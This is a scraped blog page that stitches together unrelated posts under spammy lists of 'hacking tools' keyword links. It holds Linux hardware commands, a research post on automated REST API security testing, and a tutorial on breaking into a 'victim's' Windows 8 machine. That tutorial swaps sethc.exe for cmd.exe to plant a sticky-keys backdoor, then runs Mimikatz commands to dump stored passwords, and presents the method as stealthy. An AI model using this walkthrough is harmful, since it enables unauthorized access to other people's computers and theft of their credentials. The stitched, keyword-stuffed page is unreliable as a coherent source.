CLICK HERE FOR BLOGGER TEMPLATES AND MYSPACE LAYOUTS »

Saturday, January 27, 2024

Top Linux Commands Related To Hardware With Descriptive Definitions


Commands in Linux are just the keys to explore and close the Linux. As you can do things manually by simple clicking over the programs just like windows to open an applications. But if you don't have any idea about commands of Linux and definitely you also don't know about the Linux terminal. You cannot explore Linux deeply. Because terminal is the brain of the Linux and you can do everything by using Linux terminal in any Linux distribution. So, if you wanna work over the Linux distro then you should know about the commands as well. In this blog you will exactly get the content about Linux hardware commands which are related to CPU and memory processes.

dmesg

The dmesg command is used in Linux distribution for the sake of detecting hardware and boot messages in the Linux system.

cat /proc/cpuinfo

The cat command is basically used to read something over the terminal like cat index.py will display all the content which exist in index.py over the terminal. So cat /proc/cpuinfo will display the model of the CPU over the terminal.

cat /proc/meminfo

This command is similar to the above command but the only difference is that this command shows the information of hardware memory over the terminal. Because it will open the memory info file over the terminal.

cat /proc/interrupts

This command is also similar to the above command but there is the difference of one thing that this command will display lists the number of interrupts per CPU per input output device.

lshw

This command is used in Linux operating system to displays information on hardware configuration of the system in Linux.

lsblk

The "lsblk" command is used in Linux operating system to displays block device related information in the Linux operating system.

dmidecode

The "dmidecode" command is used in Linux distributions to display the information about hardware from the BIOS.

hdparm -i /dev/sda

The hdparm command basically used to display the information about the disks available in the system. If you wanna know the information about the "sda" disk so just type "hdparm -i /dev/sda" and if you wanna know the information about "sdb" so just type "hdparm -i /dev/sdb".

hdparm -tT

The "hdparm" command is used for displaying the information about disks as we discussed in above command. If you wanna do a read speed test on the disk sda or sdb just type the command "hdparm -tT /dev/sda".

badblocks -s /dev/sda

This command is used in linux to display test operations for unreadable blocks on disk sda. If the command is like "badblocks -s /dev/sdb" it will display test operations for unreadable blocks on disk sdb.

Read more


  1. Hacking Tools Kit
  2. Computer Hacker
  3. What Are Hacking Tools
  4. Growth Hacker Tools
  5. Hacks And Tools
  6. Pentest Tools Port Scanner
  7. Hacker Search Tools
  8. Hacking Apps
  9. Hack And Tools
  10. Hack Tools For Mac
  11. Pentest Tools Find Subdomains
  12. Hacking Tools For Games
  13. Hacking Tools Kit
  14. Hack Rom Tools
  15. Pentest Tools Download
  16. Hacking Tools Windows
  17. Hackrf Tools
  18. Hack Tools For Pc
  19. Hack Website Online Tool
  20. Hack App
  21. Pentest Tools For Ubuntu
  22. Free Pentest Tools For Windows
  23. Hacking Tools 2020
  24. Hackrf Tools
  25. Pentest Tools Framework
  26. Hacking Tools For Games
  27. Hacker Techniques Tools And Incident Handling
  28. Black Hat Hacker Tools
  29. Hacking Tools Free Download
  30. Hacking Tools For Beginners
  31. Pentest Tools Tcp Port Scanner
  32. Tools Used For Hacking
  33. Hacker Tools Free
  34. Hacking Tools For Mac
  35. Hacking Tools For Windows 7
  36. Hacking Tools And Software
  37. Hack Apps
  38. Nsa Hack Tools
  39. Hackers Toolbox
  40. Tools Used For Hacking
  41. Hacker Tool Kit
  42. Hacking Tools For Windows Free Download
  43. Pentest Tools Windows
  44. Hacker Tools Apk
  45. New Hack Tools
  46. Tools 4 Hack
  47. Pentest Recon Tools
  48. New Hacker Tools
  49. Hacking Tools For Mac
  50. Hacker Tools 2020
  51. Bluetooth Hacking Tools Kali
  52. Hacker Tools For Windows
  53. Pentest Tools Linux
  54. Easy Hack Tools
  55. Hacking Tools Pc
  56. Hacker Tools For Ios
  57. Hacking Tools For Games
  58. Hacking Tools
  59. Pentest Tools Windows
  60. Hacker Tools Free Download
  61. Hack Tools
  62. Hacker Tools For Ios
  63. Hack Tools For Mac
  64. Hacking Tools For Windows
  65. Beginner Hacker Tools
  66. Hack Tools For Games
  67. Tools 4 Hack
  68. Pentest Tools Kali Linux
  69. Hacking Tools Name
  70. Tools For Hacker
  71. Hack App
  72. Pentest Tools Nmap
  73. Hacking Tools Windows 10
  74. Hacker Tools Apk
  75. Pentest Tools Online
  76. Usb Pentest Tools
  77. Pentest Tools Apk
  78. Pentest Tools Find Subdomains
  79. Hacking Tools For Kali Linux
  80. Pentest Tools Online
  81. Termux Hacking Tools 2019
  82. Hacking Tools Kit
  83. Hacker Tools For Windows
  84. How To Hack
  85. Hacker Tools Windows
  86. Hack Tools Online
  87. Github Hacking Tools
  88. Hack App
  89. Hacker Techniques Tools And Incident Handling
  90. Hacker Tool Kit
  91. Android Hack Tools Github
  92. Hacker Search Tools
  93. Hack Tools Pc
  94. What Is Hacking Tools
  95. Hack Tools

Automating REST Security Part 3: Practical Tests For Real-World APIs

Automating REST Security Part 3: Practical Tests for Real-World APIs

If you have read our two previous blogposts, you should now have a good grasp on the structural components used in REST APIs and where there are automation potentials for security analysis. You've also learned about REST-Attacker, the analysis tool we implemented as a framework for automated analysis.

In our final blogpost, we will dive deeper into practical testing by looking at some of the automated analysis tests implemented in REST-Attacker. Particularly, we will focus on three test categories that are well-suited for automation. Additionally, we will look at test results we acquired, when we ran these tests on the real-world API implementation of the services GitHub, Gitlab, Microsoft, Spotify, YouTube, and Zoom.

Author

Christoph Heine

Overview

Undocumented Operations

The first test that we are going to look at is the search for undocumented operations. These encompass all operations that accessible to API clients despite not being listed in the API documentation. For public-facing APIs, undocumented operations are a security risk because they can expose functionality of the service that clients are not supposed to access. Consequences can range from information leakage to extensive modification or even destruction of the resources managed by the underlying service.

A good example for an operation that should not be available is write access to the product information of a webshop API. While read operations on stock amounts, prices, etc. of a product are perfectly fine, you probably don't want to give clients the ability to change said information.

In HTTP-based REST, operations are represented by the HTTP methods used in the API request (as explained in Part 1 of the blog series). Remember that API requests are essentially HTTP requests which consist of HTTP method (operation), URI path (resource address) and optional header or body data.

GET /api/shop/items 

We can use the fact that REST operations are components from the HTTP standard to our advantage. First of all, we know that the set of possible operations is the same for all HTTP-based REST APIs (no matter their service-specific context) since each operation should map to a standardized HTTP method. As a result, we also have a rough idea what each operation does when it's applied to a resource, since it's based on the assigned purpose of the HTTP method. For example, we can infer that the DELETE method performs a destructive action a resource or that GET provides a form of read access. It also helps that in practice most APIs only use the same 4 or 5 HTTP methods representing the CRUD operations: GET, POST, PUT, PATCH, and DELETE.

If we know a URI path to a resource in the API, we can thus enumerate all possible API requests, simply by combining the URI with all possible HTTP methods:

GET    /api/shop/items POST   /api/shop/items PUT    /api/shop/items PATCH  /api/shop/items DELETE /api/shop/items 

REST-Attacker's test case undocumented.TestAllowedHTTPMethod uses the same approach to find undocumented operations. With an OpenAPI description, the generation of API requests is extremely to automate as the description lists all defined URI paths. Since the API description also documents the officially supported operations, we can slightly optimize the search by only generating API requests for operations not documented for a path (which basically are the candicates for undocumented operations).

To find out whether an undocumented operation exist, we have to determine if the generated API requests are successful. Here, we can again rely on a standard HTTP components that are used across REST APIs. By checking the HTTP response code of the API, we can see whether the API request was rejected or accepted. Since the response codes are standardized like the HTTP methods, we can also make general assumptions based on the response code received. If the operation in the API request is not available, we would expect to get the dedicated response code 405 - Method Not Allowed in the response. Other 4XX response codes can also indicate that the API request was unsuccessful for other reasons. If the operation is accepted, we would expect the API response to contain a 2XX response code.

Using the same approach, we let REST-Attacker search for undocumented operations in all 6 APIs we tested. None of them exposed undocumented operations that could be identified by the tool, which means they would be considered safe in regards to this test. However, it's interesting to see that the APIs could responded very differently to the API requests sent by the tool, especially when considering the response codes.

API Response Codes
GitHub 401, 404
Gitlab 400, 404
MS Graph 400, 401, 403, 404
Spotify 405
YouTube 404
Zoom 400, 401, 403, 404, 405

Spotify's API was the only one that used the 405 response code consistently. Other APIs returned 400, 401, 403, or 404, sometimes depending on the path used in the the API request. It should be noted that the APIs returned 401 - Unauthorized or 403 - Forbidden response codes even when supplying credentials with the highest possible level of authorization. An explanation for this behaviour could be that the internal access checks of the APIs work differently. Instead of checking whether an operation on a resource is allowed, they may check whether the client sending the request is authorized to access the resource.

Credentials Exposure

Excessive Data Exposure from OWASP's Top 10 API Security Issues is concerned with harmful "verbosity" of APIs. In other words, it describes a problem where API responses contain more information than they should return (hence excessive exposure). Examples for excessive data exposure include leaks of private user data, confidential data about the underlying service, or security parameters of the API. What counts as excessive exposure can also depend on the application context of the underlying service.

Since the definition of excessive data exposure is very broad, we will focus on a particular type of data for our practical test: Credentials. Not only do credentials exist in some form for almost any service, their exposure would also have a significant impact on the security of the API and its underlying service. Exposed credentials may be used to gain higher privileges or even account takeovers. Therefore, they are a lucrative target for attacks.

There are several credential types that can be interesting for attackers. Generally, they fit into these categories:

  • long-term credentials (e.g., passwords)
  • short-term credentials (e.g., session IDs, OAuth2 tokens)
  • service-specific credentials for user content (e.g., passwords for files on a file-hosting service)

Long- and short-term credentials should probably never be returned under any circumstances. Service-specific credentials may be less problematic in some specific circumstances, but should still be handled with care as they could be used to access resources that would otherwise be inaccessible to an API client.

The question is: Where can we start looking for exposed credentials? Since they would be part of the API responses, we could scrape the parameters in the response content. However, we may not actually need to look at any response values. Instead, we can examine the parameter names and check for association with credentials. For example, a parameter names "password" would likely contain a type of credential. The reason this can work is that parameter names in APIs are generally descriptive and human-readable, a side effect of APIs often being intended to be used by (third-party) developers.

In REST-Attacker, credentials parameter search is implemented by the resources.FindSecurityParameters test case. The test case actually only implements an offline search using the OpenAPI description, as the response parameter names can also be found there. The implementation iterates through the response parameter names of each API endpoint and matches them to keywords associated with credentials such as "pass", "auth" or "token". This naive approach is not very accurate and can produce a number of false-positives, so the resulting list of parameters has to be manually checked. However, the number of candidates is usually small enough to be searched in a small amount of time, even if the API defines thousands of unique response parameters.

API Parameter Count Candidates long-term short-term service-specific
GitHub 2110 39 0 0 0
Gitlab 1291 0 0 0 0
MS Graph 32199 117 0 0 0
Spotify 290 6 0 0 0
YouTube 703 6 0 0 0
Zoom 800 96 0 0 2

5 out of 6 APIs we tested had no problems with exposed credentials.

Zoom's API was the only one which showed signs of problematic exposure of service-specific credentials by returning the default meeting password for meetings created via the API at an endpoint. It should be noted that this information was only available to approved clients and an required authorized API request. However, the credentials could be requested with few priviledges. Another problem was that Zoom did not notify users that this type of information was accessible to third-party clients.

Default Access Priviledges

The last test category that we are going to look at addresses the access control mechanisms of REST APIs. Modern access control methods such as OAuth2 allow APIs to decide what minimum priviledges they require for each endpoint, operation, or resource. In the same way, it gives them fine-grained control on what priviledges are assigned to API clients. However, for fine-grained control to be impactful, APIs need to carefully decide which priviledges they delegate to clients by default.

But why is it important that APIs assigned do not grant too many priviledges by default? The best practice for authorization is to operate on the so-called least priviledge principle. Basically, this means that a client or user should only get the minimum necessary priviledges required for the respective task they want to do. For default priviledges, the task is usually unspecified, so there are no necessary priviledges. In that case, we would expect an API to grant either no priviledges or the overall lowest functional priviledge level.

If the API uses OAuth2 as its access control method, we can easily test what the API considers default priviledges. In OAuth2, clients can request a specific level of priviledge via the scope parameter in the initial authorization request.

Including the scope parameter in the request is optional. If it's omitted, the API can deny the authorization request or - and that's what we are interested in - decide which scope it assigns to the authorization token returned to the client. By analyzing the default scope value, we can see whether the API adheres to the least priviledge principle.

REST-Attacker can automatically retrieve this information for configured OAuth2 clients with the scopes.TestTokenRequestScopeOmit test case. For every configured OAuth2 client, an authorization request without the scope parameter is sent to the OAuth2 authorzation endpoints of the API. The tool then extracts the scope that is assigned to the returned OAuth2 token. This scope value then has to be manually analyzed.

Out of the 6 APIs we tested, 2 (MS Graph and YouTube) denied requests without a scope parameter. The other 4 APIs (GitHub, Gitlab, Spotify, and Zoom) allowed omitting the scope parameter. Therefore, only the latter 4 APIs assigned default prviledges that could be analyzed.

API Assigned Scope Least Priviledge?
GitHub (none) Yes
Gitlab api No
Spotify (default) Yes*
Zoom all approved No

* OAuth2 scope with least priviledges

Interestingly, the extent to which a least priviledge principle was followed varied between APIs.

GitHub's API assigned the overall lowest possible priviledges by default via the (none) scope. With this scope, a client could only access API endpoints that were already publicly accessible (without providing authorization). While the scope does not grant more priviledges than a public client would get, the (none) scope had other benefits such as an increased rate limit.

In comparison, the Spotify API had no publicly accessible API endpoints and required authorization for every request. By default, tokens were assigned a "default" scope which was the OAuth2 scope with the lowest available priviledges and allowed clients to access several basic API endpoints.

Gitlab's and Zoom's API went into the opposite direction and assigned the highest priviledge to their clients by default. In Gitlab's case, this was the api scope which allowed read and write access to all API endpoints. Zoom required a pre-approval of scopes that the client wants to access during client registration. After registration, Zoom returned all approved scopes by default.

Conclusion

We've seen that while REST is not a clarly defined standard, this does not result in REST APIs being too complex for a generalized automated analysis. The usage of standardized HTTP components allows the design of simple yet effective tests that work across APIs. This also applies to other components that are used across APIs such as access control mechanisms like OAuth2. The practical tests we discussed worked on all APIs we tested, even if their underlying application contexts were different. However, we've also seen that most of the APIs were generally safe against these tests.

Tool-based automation could certainly play a much larger role in REST security, not only for finding security issues but also for filtering results and streamlining otherwise manual tasks. In the long run, this will hopefully also result in an increase in security.

Acknowledgement

The REST-Attacker project was developed as part of a master's thesis at the Chair of Network & Data Security of the Ruhr University Bochum. I would like to thank my supervisors Louis Jannett, Christian Mainka, Vladislav Mladenov, and Jörg Schwenk for their continued support during the development and review of the project.

More articles


Cracking Windows 8/8.1 Passwords With Mimikatz



You Might have read my previous posts about how to remove windows passwords using chntpw and might be thinking why am I writing another tutorial to do the same thing! Well today we are not going to remove the windows user password rather we are going to be more stealth in that we are not going to remove it rather we are going to know what is the users password and access his/her account with his/her own password. Sounds nice...


Requirements:


  1. A live bootable linux OS (I'm using Kali Linux)(Download Kali Linux)
  2. Mimikatz (Download | Blog)
  3. Physical Access to victim's machine
  4. A Working Brain in that Big Head (Download Here)



Steps:

1. First of all download mimikatz and put it in a pendrive.

2. Boat the victim's PC with your live bootable Pendrive (Kali Linux on pendrive in my case). And open a terminal window

3. Mount the Volume/Drive on which windows 8/8.1 is installed by typing these commands
in the terminal window:

mkdir /media/win
ntfs-3g /dev/sda1 /media/win

[NOTE] ntfs-3g is used to mount an NTFS drive in Read/Write mode otherwise you might not be able to write on the drive. Also /dev/sda1 is the name of the drive on which Windows OS is installed, to list your drives you can use lsblk -l or fdisk -l. The third flag is the location where the drive will be mounted.

4. Now navigate to the System32 folder using the following command

cd /media/win/Windows/System32

5. After navigating to the System32 rename the sethc.exe file to sethc.exe.bak by typing the following command:

mv sethc.exe sethc.exe.bak

sethc.exe is a windows program which runs automatically after shift-key is pressed more than 5 times continuously.

6. Now copy the cmd.exe program to sethc.exe replacing the original sethc.exe program using this command:

cp cmd.exe sethc.exe

[Note] We made a backup of sethc.exe program so that we can restore the original sethc.exe functionality

7. With this, we are done with the hard part of the hack now lets reboot the system and boot our Victim's Windows 8/8.1 OS.

8. After reaching the Windows Login Screen plugin the usb device with mimikatz on it and hit shift-key continuously five or more times. It will bring up a command prompt like this





9. Now navigate to your usb drive in my case its drive G:




10. Now navigate to the proper version of mimikatz binary folder (Win32 for32bit windows and x64 for 64 bit windows)


11. Run mimikatz and type the following commands one after the other in sequence:

privilege::debug
token::elevate
vault::list

the first command enables debug mode
the second one elevates the privilages
the last one lists the passwords which include picture password and pin (if set by the user)









That's it you got the password and everything else needed to log into the system. No more breaking and mess making its simple its easy and best of all its not Noisy lol...

Hope you enjoyed the tutorial have fun :)

Read more


  1. Pentest Tools Apk
  2. How To Hack
  3. Hacks And Tools
  4. Pentest Tools Apk
  5. Hacker Tools Github
  6. Hacker Security Tools
  7. Pentest Tools For Mac
  8. Hacking Tools 2020
  9. Pentest Tools Free
  10. Pentest Tools Website Vulnerability
  11. Pentest Box Tools Download
  12. Hacker Tools
  13. Pentest Tools Android
  14. Easy Hack Tools
  15. Hacking Tools For Pc
  16. Hacking Tools Online
  17. Easy Hack Tools
  18. Hacker
  19. Hacking Tools Mac
  20. Pentest Tools Windows
  21. Pentest Tools For Android
  22. Hacker Tools 2019
  23. Hacking Apps
  24. Pentest Tools Open Source
  25. Hack Tool Apk
  26. Hacking Tools Software
  27. Nsa Hacker Tools
  28. Pentest Tools Alternative
  29. Hacks And Tools
  30. Kik Hack Tools
  31. Pentest Tools Online
  32. Hacking Tools Name
  33. Hacker Tools Software
  34. Hacker Search Tools
  35. Hacker Tools Free Download
  36. Hacker Tool Kit
  37. Hacker
  38. Free Pentest Tools For Windows
  39. Hacks And Tools
  40. Hack Tools For Games
  41. How To Install Pentest Tools In Ubuntu
  42. Hacker Security Tools
  43. Pentest Tools
  44. Ethical Hacker Tools
  45. Pentest Tools Port Scanner
  46. Hacker Tools Github
  47. Install Pentest Tools Ubuntu
  48. Physical Pentest Tools
  49. Hacker
  50. Hacking Tools For Windows Free Download
  51. Easy Hack Tools
  52. Pentest Tools Framework
  53. Hacker Hardware Tools
  54. Blackhat Hacker Tools
  55. Tools 4 Hack
  56. New Hacker Tools
  57. Hacker Tools For Pc
  58. Pentest Box Tools Download
  59. Beginner Hacker Tools
  60. Tools For Hacker
  61. Hacker Tools Linux
  62. Hacking Tools For Beginners
  63. Tools For Hacker
  64. Best Hacking Tools 2019
  65. Pentest Tools
  66. Pentest Reporting Tools
  67. Pentest Tools Bluekeep
  68. Hacking Tools Name
  69. Hack Tools Mac
  70. Pentest Tools Url Fuzzer
  71. Pentest Tools Review
  72. Hacker Security Tools
  73. Hacking Tools Online
  74. Hacking Tools Windows
  75. Usb Pentest Tools
  76. Hacker Tools Apk
  77. Pentest Tools Nmap
  78. Pentest Tools Nmap
  79. Ethical Hacker Tools
  80. Hack And Tools
  81. Black Hat Hacker Tools
  82. Hacker Tools Free Download
  83. Hack Tools 2019
  84. Hackers Toolbox
  85. Pentest Tools Linux
  86. Hacking App
  87. Pentest Tools Bluekeep
  88. Underground Hacker Sites
  89. Nsa Hack Tools
  90. Pentest Tools For Android
  91. Hacking Tools For Beginners
  92. Pentest Tools Find Subdomains
  93. Pentest Tools Open Source
  94. Hack Website Online Tool
  95. How To Hack
  96. Hacker Techniques Tools And Incident Handling
  97. Pentest Tools Download
  98. Hacker Tools For Windows
  99. Nsa Hack Tools
  100. Hacking Tools For Mac
  101. Pentest Tools
  102. Pentest Tools Download
  103. Hak5 Tools
  104. Nsa Hack Tools
  105. Underground Hacker Sites
  106. Pentest Tools Url Fuzzer
  107. Pentest Tools Subdomain
  108. Pentest Tools Bluekeep
  109. Bluetooth Hacking Tools Kali
  110. Hacker Tools Windows
  111. Hacking Tools For Beginners
  112. Pentest Tools List
  113. Hack Tools For Ubuntu
  114. How To Install Pentest Tools In Ubuntu
  115. Pentest Tools Free
  116. Hacking Tools For Windows 7
  117. Best Hacking Tools 2019
  118. Bluetooth Hacking Tools Kali
  119. Computer Hacker
  120. Hacker Tool Kit
  121. Hack App
  122. Github Hacking Tools
  123. Tools For Hacker
  124. Hackrf Tools
  125. Hacker Search Tools
  126. Underground Hacker Sites
  127. Hacking Tools Kit
  128. Pentest Tools Port Scanner
  129. Pentest Tools Website
  130. Nsa Hack Tools
  131. Hack Tools Download
  132. Hacking Tools Online